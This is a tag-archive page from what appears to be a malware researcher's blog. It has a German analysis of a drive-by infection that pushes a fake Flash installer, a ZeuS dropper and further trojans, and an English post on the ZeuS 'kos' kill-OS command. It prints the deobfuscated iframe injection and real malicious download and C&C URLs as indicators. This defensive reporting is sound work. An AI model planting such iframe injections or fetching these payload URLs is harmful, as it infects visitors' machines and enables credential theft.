Tag Archive for 'wsnpoem'

Page 4 of 13

Fälschungen von YouTube & Co – die Fata Morganas des Internets

Vor kurzen stolperte ich über eine kompromittierte CH-Webseite, welche den Besucher mittels drive-by infection einen Trojaner unterjubelte. So weit eigentlich nichts Aussergewöhnliches. Was jedoch interessant ist, ist die Art, wie die drive-by infection in diesem Fall funktioniert hat. Ich habe mich deshalb dazu entschlossen, kurz aufzuzeigen, wie raffiniert so genannte drive-by infections in der heutigen Zeit sein können.

Was der Bösewicht als Erstes benötigt, ist einen Zugang zu einem legitimen Webserver. Nun gibt es verschiedene Möglichkeiten, wie sich ein Krimineller Zugriff auf ein System verschaffen kann:

  • Durch eine ungepatchte Schwachstelle in einer Webapplikation (z.B. Joomla, Typo3 etc)
  • Stehlen der FTP Zugangsdaten (durch infizierung des Rechners des Webmasters. Siehe abuse.ch: “More than 100′000 stolen FTP credentials retrieved”)
  • Durch Social-Engineering
  • In unserem Falle handelt es sich um eine Schweizer Webseite, welche eine Plattform für politische Diskussionen im Internet anbietet. Ein kurzer Blick in den Quellcode der Webseite verrät, dass die Webseite eine veraltete Version der Blogging Software WordPress verwendet, und somit ein Einfallstor für Attacken bietet:

    driveby01

    Was der Kriminelle als nächstes braucht bzw. macht, ist (meistens) ein obfuskiertes JavaScript irgendwo auf der Webseite einzubinden:

    driveby04

    In unserem Fall ist dies etwas exotisch: Besucher, welche nähmlich die Webseite mit einem Alternativbrowser an surfen, bekommen den obfuskierten JavaScript-Code erst gar nicht zu Gesicht:

    driveby03

    Nur wenn ein Besucher die Webseite mit dem Internet Explorer ansteuert, wird der Javascript Code überhaupt erst zurückgeschickt und dadurch zwei IFrames in die Seite eingebunden. Deobfuskiert sieht das wie folgt aus:

    <u style="display:none;">
    <iframe width="1" height="1" src="http://oi.usrv03.com/oi.php"></iframe>
    </u>
    <u style="display:none;">
    <iframe width="1" height="1" src="http://sulidev.com/ie.php?x=2"></iframe>
    </u>

    Die beiden Webseiten werden in den USA gehosted (APS telecom):

    usrv03.com IN A 216.195.55.139
    sulidev.com IN A 216.195.55.140

    NetRange: 216.195.32.0 – 216.195.63.255
    OrgName: APS telecom
    OrgID: PRICE-31
    Address: 8130 SW BEAVERTON-HILLSDALE HWY
    City: Portland
    StateProv: OR
    PostalCode: 97225
    Country: US

    Die beiden Webseiten geben sich als YouTube aus und versuchen den Besucher dazu zu animieren, die neuste Version des Adobe Flash Player herunter zu laden:

    usrv03

    Dabei tarnt sich die Webseite erneut, diesmal als falsche Download Seite des Adobe Flash Player get.adobe.com. Die Fäschung sieht täuschend echt aus:

    Fälschung (get.adobe.com.flashplayer.usrv03.com):

    usrv0301

    Orginal (get.adobe.com):

    adobe

    Die Datei, welche der Besucher der gefälschten Adobe Webseite bekommt, ist nicht etwa der Adobe Flash Player, sonder ein Trojaner:

    Filename: install_flash_player.exe
    File size: 13824 bytes
    MD5…: 52da3ddb238de09b14273a675d168d5a
    SHA1..: a6b1414ff3c7279fd16476f00b5853a0e090bfb9
    Erkennungsrate: 17/40 (42.50%)

    Bei dem Trojaner Eldorado handelt es sich um einen so genannten Trojan-Dropper, welcher in der Lage ist, weiteren Schadcode aus dem Internet nach zu laden. Und dies macht er auch fleissig. Führt der Benutzer das EXE-File aus, nistet sich der Trojaner im System ein und lädt weiteren Schadcode nach.

    Als erstes meldet sich der Trojaner bei einem Command&Control server:

    GET http://nan.co.ee/admin/lod.php?id=ctert3rk

    Name: nan.co.ee
    Address: 216.195.55.137

    NetRange: 216.195.32.0 – 216.195.63.255
    OrgName: APS telecom
    Address: 8130 SW BEAVERTON-HILLSDALE HWY
    City: Portland
    Country: US

    Der frisch infizierte Rechner bekommt nun die Anweisung vom C&C, dass dieser weiteren Schadcode nachladen soll:

    HTTP/1.1 200 OK

    o3#gozuxyb.com/001.exe

    Und dies tut der infizierte Client auch:

    GET http://gozuxyb.com/001.exe

    Name: gozuxyb.com
    Address: 216.195.55.136

    NetRange: 216.195.32.0 – 216.195.63.255
    OrgName: APS telecom
    Address: 8130 SW BEAVERTON-HILLSDALE HWY
    City: Portland
    Country: US

    Bei dem nachgeladenen Schadcode handelt es sich einmal mehr um das ZeuS Crimeware-kit (aka WSNPoem / Zbot):

    Filename: 001.exe
    File size: 66560 bytes
    MD5…: 36bb5b3e048108b33b1629f1ce926792
    SHA1..: 0892a9604e8daec2dd0a3533984a9d33589b95a8
    Erkennungsrate: 5/40 (12.50%)

    Hat sich ZeuS einmal im System eingenistet, stiehlt dieser sensible Zugangsdaten, beispielsweise für E-Banking Accounts etc. (Siehe abuse.ch ZeuS Tracker: polotomo.com).

    Wer nun denkt, dass sei alles gewesen, irrt sich. Der Trojaner lädt noch weiteren Schadcode nach:

    GET http://www.krindustrie.de/images/1.exe

    Filename 1.exe
    File size: 871936 bytes
    MD5…: 511915a6e0083864c76949613112e172
    SHA1..: c74eddf791191fd0703b4249d86403f4e0e85afd
    Erkennungsrate: 27/39 (69.23%)

    Der nachgeladene Trojaner meldet sich nun ebenfalls regelmässig bei einem Command&Control Server:

    POST http://ikone.net/images/furjqsf.php

    Name: ikone.net
    Address: 80.67.17.42

    inetnum: 80.67.17.0 – 80.67.18.255
    netname: DOMAINFACTORY
    descr: DOMAINFACTORY
    descr: COLOCATION LEVEL3
    country: DE

    Fazit

    Im schlimmsten Fall ist der Besucher nach dem Besuch der gehackten Webseite um drei Trojaner reicher. Deshalb gilt:

  • Vorsicht bei verdächtigen Downloads (Adressliste kontrollieren)
  • Stetiges aktualisieren der installierten Applikationen (Flash, Java & co)
  • Verwenden eines Alternativbrowsers
  • Webseitenbesitzern sollten sich zudem bewusst sein, dass die auf dem Server installierte Software wie z.B CMS-Systeme & Co stets auf dem neusten stand gehalten werden müssen, um unbefugte Zugriffe zu verhindern.

    When a Botmaster goes REALLY mad

    Yesterday I came across a post on Sunbelt’s Blog concering bots which have a build in function to destroy the computers operating system (OS). The Sunbelt Blog reference to a blog post on the S21sec Blog:

    This time we are taking a close look about what things could happen with an infected computer when the running bot receives an specific command about to kill the Operating System. Not all type of bots usually have this functionality, but banking Trojans usually have. We will take three examples (InfoStealer, Zeus/Zbot and Nethell/Ambler), these are the most common Trojans where we’ve definitely found in their binaries the malicious code that is responsible for the Execution of Windows.

    Last week I received a copy from a ZeuS C&C server for analysis (53’878’694 records in database / 155GB) . The C&C server was hosting about 5 different ZeuS installations controlling more than 100′000 computers, mainly located in Poland and Spain.

    I was just shocked as I saw that the ZeuS C&C was sending out the ZeuS command kos:

    ZeuS C&C: Kill Operating System

    But what is “kos”? The kos command is used by ZeuS to destroy the operating system (kill Operating System). From ZeuS help file (translated with Google):

    kos – incapacitate OS, namely grip branches HKEY_CURRENT_USER registry and / or HKEY_LOCAL_MACHINE. If you have sufficient privileges – fly to “blue screen”, in other cases creates the brakes. Following these steps, loading OS will not be possible!

    So what happened? The Operating System of every infected client which was connected to one of the malicious ZeuS C&Cs has been destroyed. That are about 100’000 affected computers!

    Yeah, that happens when a Botmaster goes really mad…

    Further reading:
    Sunbelt Blog: Bots that destroy the operating system
    S21sec Blog: When a Bot master goes mad – Kill the OS
    abuse.ch ZeuS Tracker BETA




    economics-recluse
    Scene
    Urgent!